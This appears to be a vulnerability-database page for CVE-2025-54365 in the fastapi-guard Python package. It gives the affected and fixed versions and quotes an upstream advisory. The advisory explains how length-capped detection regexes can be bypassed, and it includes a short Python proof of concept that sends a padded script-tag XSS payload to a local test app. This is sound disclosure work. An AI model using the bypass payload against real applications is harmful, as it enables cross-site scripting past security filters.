Answer in brief
CVE-2025-54365 records a Unknown severity vulnerability in FastAPI Guard has a regex bypass. The current sources do not mark it as known exploited. The current feed maps fastapi-guard (pypi). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
A CVSS score is not reported in the current record. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps fastapi-guard (pypi). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| fastapi-guardpypi | >=3.0.1 <3.0.2 | 3.0.2 |
Published upstream
Jul 23, 2025
Evidence: source:osv:source_dates:source-dates:recordSource modified
Sep 10, 2026
Evidence: source:osv:source_dates:source-dates:recordFirst seen by HOL
Sep 10, 2026
### Summary The regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit. ### Details In version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS. https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f This commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below. `r"<script[^>]*>[^<]*<\\/script\\s*>"` -> `<script[^>]{0,100}>[^<]{0,1000}<\\/script\\s{0,10}>` This type of patch fails to catch cases where the string representing the attributes of a <script> tag exceeds 100 characters. Therefore, most of the regex patterns present in version 3.0.1 can be bypassed. ### PoC 1. clone the fastapi-guard repository 2. Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST. <img width="1013" height="554" alt="image" src="https://github.com/user-attachments/assets/cf93ea37-2fd7-4251-abb6-b55f88685f54" /> 3. After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results. ```python import requests URL = "<http://localhost:8000>" obvious_payload = { "obvious" : "<script>alert(1);</script>" } response = requests.post(url=URL, json=obvious_payload) print(f"[+] response of first request: {response.text}") bypassed_payload = { "suspicious" : f'<script id="i_can_bypass_regex_filtering{'a'*100}">alert(1)</script>' } response = requests.post(url=URL, json=bypassed_payload) print(f"[+] response of second request: {response.text}") ``` <img width="836" height="112" alt="image" src="https://github.com/user-attachments/assets/11dcccb2-6179-44b1-9628-ae0a787e3bb7" /> ### Impact Due to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.
Quoted source text, attributed separately from HOL analysis.